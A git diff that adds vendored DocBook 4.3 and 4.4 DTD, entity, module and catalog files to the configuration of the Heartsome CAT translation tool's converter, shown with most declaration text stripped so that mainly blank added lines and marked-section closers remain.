b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsb.ent @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsc.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsc.ent new file mode 100644 index 0000000..6160942 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsc.ent @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsn.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsn.ent new file mode 100644 index 0000000..13fcdf3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsn.ent @@ -0,0 +1,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amso.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amso.ent new file mode 100644 index 0000000..ad5ad2a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amso.ent @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsr.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsr.ent new file mode 100644 index 0000000..873de3e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsr.ent @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-box.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-box.ent new file mode 100644 index 0000000..4d39879 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-box.ent @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr1.ent new file mode 100644 index 0000000..f937b2c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr1.ent @@ -0,0 +1,72 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr2.ent new file mode 100644 index 0000000..ce9494c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-cyr2.ent @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-dia.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-dia.ent new file mode 100644 index 0000000..36bf5a7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-dia.ent @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk1.ent new file mode 100644 index 0000000..a543ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk1.ent @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk2.ent new file mode 100644 index 0000000..a1dfad9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk2.ent @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk3.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk3.ent new file mode 100644 index 0000000..68ffd88 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk3.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk4.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk4.ent new file mode 100644 index 0000000..fd7ee10 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-grk4.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat1.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat1.ent new file mode 100644 index 0000000..0347523 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat1.ent @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat2.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat2.ent new file mode 100644 index 0000000..29b7da3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-lat2.ent @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-num.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-num.ent new file mode 100644 index 0000000..312af50 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-num.ent @@ -0,0 +1,81 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-pub.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-pub.ent new file mode 100644 index 0000000..6905ae4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-pub.ent @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-tech.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-tech.ent new file mode 100644 index 0000000..55ab939 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-tech.ent @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/soextblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/soextblx.dtd new file mode 100644 index 0000000..4b6df98 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/soextblx.dtd @@ -0,0 +1,314 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/calstblx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/calstblx.dtd new file mode 100644 index 0000000..14eb643 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/calstblx.dtd @@ -0,0 +1,205 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/catalog.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/catalog.xml new file mode 100644 index 0000000..b19925e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/catalog.xml @@ -0,0 +1,133 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbcentx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbcentx.mod new file mode 100644 index 0000000..8daa0cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbcentx.mod @@ -0,0 +1,384 @@ + + + + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbgenent.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbgenent.mod new file mode 100644 index 0000000..4f99ddc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbgenent.mod @@ -0,0 +1,41 @@ + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbhierx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbhierx.mod new file mode 100644 index 0000000..858647e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbhierx.mod @@ -0,0 +1,2113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier2; +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbnotnx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbnotnx.mod new file mode 100644 index 0000000..2b6435e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbnotnx.mod @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbpoolx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbpoolx.mod new file mode 100644 index 0000000..8dcbab5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.4/dbpoolx.mod @@ -0,0 +1,8355 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbpool; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + +%htmltbl; +]]> + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + +%tablemodel; + +]]> + + + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> + + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + ]]> + + + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> 